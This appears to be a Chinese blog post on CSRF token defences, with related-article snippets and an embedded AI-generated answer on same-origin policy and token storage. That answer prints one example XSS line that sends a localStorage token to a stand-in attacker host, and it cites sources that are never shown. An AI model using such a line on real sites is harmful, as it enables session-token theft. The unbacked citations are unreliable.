【强制】表单、 AJAX 提交必须执行 CSRF 安全过滤。

最新推荐文章于 2025-05-14 08:54:08 发布
原创 最新推荐文章于 2025-05-14 08:54:08 发布 · 1k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文介绍CSRF(Cross-site request forgery)跨站请求伪造漏洞及其防御策略。通过生成随机token并进行验证，确保用户参数安全，防止攻击者利用恶意链接进行数据库修改。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

 

CSRF(Cross - site request forgery) 跨站请求伪造是一类常见编程漏洞。对于存在
CSRF 漏洞的应用/网站，攻击者可以事先构造好 URL ，只要受害者用户一访问，后台便在用户

 

不知情情况下对数据库中用户参数进行相应修改。

 

具体思路：

1、跳转页面前生成随机token，并存放在session中

2、form中将token放在隐藏域中，保存时将token放头部一起提交

3、获取头部token，与session中的token比较，一致则通过，否则不予提交

4、生成新的token，并传给前端

参考：http://blog.youkuaiyun.com/jrn1012/article/details/52750883

CSRF与SSRF
qq_73792226的博客
07-22 1411
CSRF定义：CSRF是一种由攻击者构造形成，利用用户在已登录的网站中提交非法请求的行为。攻击者通过伪造用户提交的请求，将恶意请求发送至受信任的网站，导致用户在不知情的情况下执行恶意操作。原理：CSRF攻击利用了网站对用户网页浏览器的信任。攻击者通过诱使用户访问一个恶意网页（通常是通过邮件、消息或恶意网站链接），该网页中包含了一个指向受信任网站的恶意请求。由于用户的浏览器在访问该网站时已经处于登录状态，因此这个恶意请求会携带用户的认证信息（如Cookie），从而被受信任的网站信任并执行。SSRF。
安全规约、脱敏规范、敏感逻辑的保护方案、防止 SQL 注入
专注于计算机研发知识和资讯分享
01-13 1613
按照字符 数长度计算，字符数长度/3，字符数长度1/3位数正常显示，字符数长度（3/1+1）位数部分隐藏以星号替代。剩余部分字符数正常显示;正例：中国大陆个人手机号码显示：139****1219，隐藏中间 4 位，防止隐私泄露。说明：防止没有做水平权限校验就可随意访问、修改、删除别人的数据，比如查看他人的私信内容。用户敏感数据禁止直接展示，必须对展示数据进行脱敏。隶属于用户个人的页面或者功能必须进行权限控制校验。
阿里巴巴 JAVA开发手册之表单、AJAX 提交必须执行 CSRF 安全验证 思路流程及代码示例
weixin_42589778的博客
08-29 665
介绍：CSRF（Cross-site request forgery跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，C...
前端安全：XSS、CSRF 防御与最佳实践
exlink2012的专栏
05-14 1366
随着互联网应用的普及，前端安全问题日益凸显。作为开发者，了解并防范常见的安全威胁至关重要。本文将深入探讨两种最常见的前端安全威胁：跨站脚本攻击（XSS）和跨站请求伪造（CSRF），并提供实用的防御策略与最佳实践。
基于form表单和ajax提交数据，csrftoken验证
m0_73399600的博客
11-13 907
pass。
ajax使用js动态生成form表单，post方式提交添加crsf验证内容（不用jquery，只用原生js语句）
xiaotuwai8的博客
03-22 629
在项目的setting中 ‘django.contrib.auth.middleware.AuthenticationMiddleware’, 取消这一句的注释后，所有post提交的form都需要进行crsf验证，否则报403错误（CSRF验证失败. 请求被中断.）。对于直接渲染的页面，可以在body里加上{% csrf_token %}，即可自动渲染。 但是对于使用javascrip动态创建表单...
AJAX以及跨域情况下POST请求出现CSRF问题的解决方案
Blossom
03-07 5715
CSRF是什么？ AJAX中处理CSRF的解决方案 系统和环境描述： JSP页面 AJAX POST请求 Spring Boot开启Security（会自动开启CSRF机制） 请求出现403问题 简单的禁用CSRF 在继承了WebSecurityConfigurerAdapter的Spring管理类的configure方法中加入http.csrf().disable()代码即可...
网络安全 kali Web安全之CSRF攻击
xueshenlaila的博客
03-16 1001
CSRF（Cross Site Request Forgery），中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后，诱使用户访问一个攻击页面，利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击目的。
同源政策/跨域与跨域解决策略/web安全攻击CSRF以及XSS
darabiuz的博客
02-11 3363
1.同源策略 1. 什么是同源 同源策略是浏览器安全的基石，当前网页的url和ajax请求地址的url必须同源，它要求协议、域名、端口号三者必须相同，只要有一处不同就属于跨域 2. 为什么要有同源策略 想象这样一个场景，你登录并信任了一个购物网站A，然后在没有退出的情况下登陆了恶意网站B，由于浏览器携带了cookie信息，那么B就可以冒充用户向A网站发送请求，比如购买物品之类的违背用户预期的恶意行为，带来严重影响，这其实也就是平时所说的CSRF攻击（具体见下文对于CSRF的介绍），由来同源策略以后，主要限制
CSRF详解
weixin_46013320的博客
04-22 1907
CSRF(跨站请求伪造)是一种恶意的利用，攻击者通过伪装成为用户发送请求，执行非用户意愿的操作。简单的说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作（如发邮件，发消息，甚至财产操作（如转账和购买商品））。因为浏览器之前认证过，所以被访问的站点会觉得这是真正的用户操作而去运行。
Spring Security CsrfFilter过滤器用法实例
08-25
主要介绍了Spring Security CsrfFilter过滤器用法实例,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
CSRF
jpygx123的博客
10-10 424
同源策略： A网页设置的Cookie，B网页不能打开，除非这个两个网页同源。 三个相同：协议相同、域名相同、端口相同。 三个一块相同才是同源的。 目的：为了保证用户信息的安全，防止恶意的网站窃取数据。 限制范围： 1.cookie、localstorage和indexDB无法读取。 2.Dom无法获得。 3.AJAX请求不能发送。 虽然限制很必要但是有些合理的用途也会受到影响，比如同站点下的不同域...
全局过滤器/局部过滤器
YPX_YGWW的博客
07-19 539
vue事件对象
【第八篇】SpringSecurity的核心过滤器-CsrfFilter
yqqの博客
03-18 801
跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。
「网络安全渗透」如果你还不懂CSRF？这一篇让你彻底掌握
VN520的博客
12-28 1206
面试的时候的著名问题：“谈一谈你对 CSRF 与 SSRF 区别的看法”这个问题，如果我们用非常通俗的语言讲的话，CSRF 更像是钓鱼的举动，是用户攻击用户的；而对于 SSRF 来说，是由服务器发出请求，用户。
后端编码规范
jie774856782的博客
11-08 504
java编码规范需要注意的内容
常见的前端安全CSRF/XSS以及常规安全策略
小草莓的博客
07-14 2133
5、前端的常规安全策略 ① 定期请第三方机构做安全性测试和漏洞扫描 ② code review 保证代码质量 ③ 默认项目中设置对应的 Header 请求头，如 X-XSS-Protection、 X-Content-Type-Options 、X-Frame-Options Header、Content-Security-Policy 等等 ④ 尽量不用v-html、在有输入框的地方要对输入做拦截和校验等
【第八篇】SpringSecurity核心过滤器-CsrfFilter
波波烤鸭的博客
05-12 3390
SpringSecurity核心过滤器-CsrfFilter   Spring Security除了认证授权外功能外，还提供了安全防护功能。本文我们来介绍下SpringSecurity中是如何阻止CSRF攻击的。 一、什么是CSRF攻击   跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方
我打开一个非安全浏览器页面和一个安全的浏览器页面，此时可以从非安全页面执行一段脚本获取安全页面的token吗
最新发布
08-05
<think>我们正在讨论一个关于浏览器安全机制的问题：从非安全页面（例如http://evil.com）能否通过脚本获取安全页面（例如https://example.com）的token？这涉及到跨域安全机制和浏览器安全策略。 根据浏览器的同源策略（Same-Origin Policy），不同源（协议、域名、端口任一不同）的页面之间的脚本是隔离的，不能互相访问DOM、Cookie、LocalStorage等资源。因此，如果恶意页面（非安全页面）试图通过脚本获取安全页面的token，将受到以下限制： 1. **同源策略限制**：浏览器禁止跨域脚本直接访问其他源的页面内容（包括DOM、LocalStorage、SessionStorage等）。因此，非安全页面上的脚本无法直接读取安全页面的LocalStorage或SessionStorage中的token。 2. **跨域资源共享（CORS）**：如果安全页面没有明确设置允许跨域请求（例如通过CORS响应头），那么非安全页面发起的跨域请求将被浏览器阻止。即使安全页面设置了CORS，默认情况下也不会携带凭证（如Cookie、HTTP认证等），除非设置了`withCredentials`标志，但即使这样，服务器也必须明确允许该来源。 3. **Cookie的HttpOnly和Secure标志**：如果token存储在Cookie中，并且设置了HttpOnly标志，那么JavaScript无法通过document.cookie读取该Cookie。同时，Secure标志确保Cookie只在HTTPS连接中传输，因此非安全页面（HTTP）无法通过脚本读取安全页面（HTTPS）的HttpOnly Cookie。 4. **LocalStorage和SessionStorage**：这些存储机制也受同源策略保护。非安全页面无法访问安全页面的存储空间。但是，如果安全页面存在XSS漏洞，那么攻击者注入的恶意脚本（同源）可以读取这些存储，但这不属于跨域攻击。 5. **跨域脚本攻击（XSS）**：如果安全页面存在XSS漏洞，攻击者可以注入恶意脚本，该脚本在安全页面的上下文中运行，从而可以读取该页面的token。但这是安全页面自身的安全漏洞，而不是跨域问题。 6. **跨站请求伪造（CSRF）**：虽然CSRF攻击可以诱使用户在安全页面发起请求，但攻击者无法直接读取响应内容（因为同源策略限制跨域读取响应），因此无法通过CSRF获取token（除非有其他的漏洞如XSS配合）。 7. **浏览器安全沙箱**：每个浏览器标签页或窗口都在独立的沙箱中运行，不同源的页面之间无法直接通信（除非通过安全的跨域通信机制如postMessage，但需要双方协作）。 因此，总结如下： - **如果安全页面没有漏洞（如XSS）**：非安全页面无法通过脚本直接获取安全页面的token，因为浏览器的同源策略会阻止跨域访问。 - **如果安全页面存在XSS漏洞**：那么攻击者注入的脚本（同源）可以读取token并发送到攻击者控制的服务器。但这已经不属于跨域攻击，而是XSS攻击。 引用中提到的localStorage暴露API给同源脚本，所以如果安全页面存在XSS，那么存储的token会被窃取[^1]。另外，跨域请求中Cookie的发送受到同源策略限制[^2]，CSRF Token机制可以防止跨站请求伪造[^3]，而Token验证机制则依赖于安全存储和传输[^4]。 所以，答案是否定的：非安全页面无法直接通过脚本获取安全页面的token，除非安全页面存在漏洞（如XSS）使得攻击者可以在同源上下文中执行恶意脚本。 **相关浏览器安全机制：** - 同源策略（Same-Origin Policy） - CORS（跨域资源共享） - HttpOnly和Secure Cookie标志 - 内容安全策略（CSP）可以进一步限制脚本执行 §§相关问题§§ 1. 同源策略具体限制哪些操作？ 2. 如何防止XSS攻击窃取token？ 3. 跨域通信的安全方法有哪些？</think>### 跨域脚本获取安全页面 Token 的可行性分析 **核心结论**：**非安全页面（如 `http://evil.com`）无法通过脚本直接获取安全页面（如 `https://example.com`）的 Token**，这是由浏览器的安全机制强制保证的。以下是关键原理和限制机制： --- #### 一、浏览器安全机制的限制 1. **同源策略（Same-Origin Policy）** - **核心规则**：脚本只能访问与自身**同源**（协议+域名+端口完全相同）的资源。 - **跨域场景**： - `http://evil.com` 的脚本尝试访问 `https://example.com` 的 Token → 被浏览器拒绝。 - 错误示例： ```javascript // 在 http://evil.com 中尝试读取 https://example.com 的 Token const token = localStorage.getItem('token'); // 返回 null（跨域访问失败） ``` - **影响范围**：包括 `localStorage`、`sessionStorage`、`Cookies` 和 DOM 数据[^1][^2]。 2. **跨域资源共享（CORS）** - **默认禁止**：浏览器默认阻止跨域 AJAX/Fetch 请求（如读取 Token API）。 - **服务端显式放行**：安全页面需返回 `Access-Control-Allow-Origin: https://example.com` 头，且**不包含恶意域名**（如 `http://evil.com`）[^2]。 - **凭证限制**：即使启用 CORS，需同时满足： - 客户端设置 `credentials: 'include'` - 服务端设置 `Access-Control-Allow-Credentials: true` - **但安全页面通常不会为不可信域名启用此配置**。 3. **安全存储隔离** - **Token 存储位置**： | 存储方式 | 跨域访问可能性 | 安全机制 | |----------------|----------------|---------------------------| | `localStorage` | ❌ 完全禁止 | 同源策略隔离 | | `sessionStorage` | ❌ 完全禁止 | 同源策略+标签页隔离 | | `HttpOnly Cookie` | ❌ 完全禁止 | 浏览器禁止 JS 读取[^1][^4] | 4. **内容安全策略（CSP）** - 安全页面可通过 CSP 头限制脚本来源： ```http Content-Security-Policy: script-src 'self' https://trusted-cdn.com; ``` 阻止 `http://evil.com` 的脚本注入或加载[^3]。 --- #### 二、攻击者可能尝试的绕过方式及防御 1. **XSS 漏洞利用（非跨域）** - **唯一可行场景**：若安全页面存在 XSS 漏洞，攻击者注入的同源恶意脚本可读取 Token： ```javascript // 在 https://example.com 页面内执行的恶意脚本 fetch('https://evil.com/steal?token=' + localStorage.getItem('token')); ``` - **防御措施**： - 输入过滤 + 输出编码（见前文） - CSP 限制内联脚本[^1][^3]。 2. **CSRF 攻击（无法获取 Token）** - 攻击者可诱使用户向安全页面发起请求（如提交表单），但： - 无法读取响应内容（同源策略限制） - 无法获取 Token（仅能触发动作）[^3]。 3. **中间人攻击（MitM）** - 非 HTTPS 页面可能被劫持，但安全页面（HTTPS）的 Token 传输受 TLS 加密保护。 --- #### 三、安全实践建议 1. **Token 存储与传输** - 避免 `localStorage`：改用 `HttpOnly Cookie`（JS 不可读） + `Secure` 标志（仅 HTTPS 传输）[^1][^4]。 - 短期 Token：设置短有效期（如 JWT 的 `exp` 字段）。 2. **防御纵深配置** ```nginx # Nginx 安全头配置示例 add_header Content-Security-Policy "default-src 'self'"; add_header X-Frame-Options DENY; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains"; ``` 3. **跨域安全设计** - 禁用通配符 CORS：`Access-Control-Allow-Origin: *` - 校验 `Origin` 头：仅放行可信域名。 --- ### 总结 - **不可行场景**：非安全页面 → 安全页面的直接 Token 读取（被同源策略、CORS、CSP 阻断）。 - **可行场景**：安全页面存在 XSS 漏洞时，同源恶意脚本可窃取 Token。 - **核心防御**： - 严格输入过滤 + 输出编码 - `HttpOnly Cookie` 存储 Token - 启用 CSP 和 HTTPS[^1][^3][^4]。 > ⚠️ **关键认知**：跨域脚本攻击的核心风险在于 **XSS 漏洞**（而非跨域本身），需重点防御代码注入。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值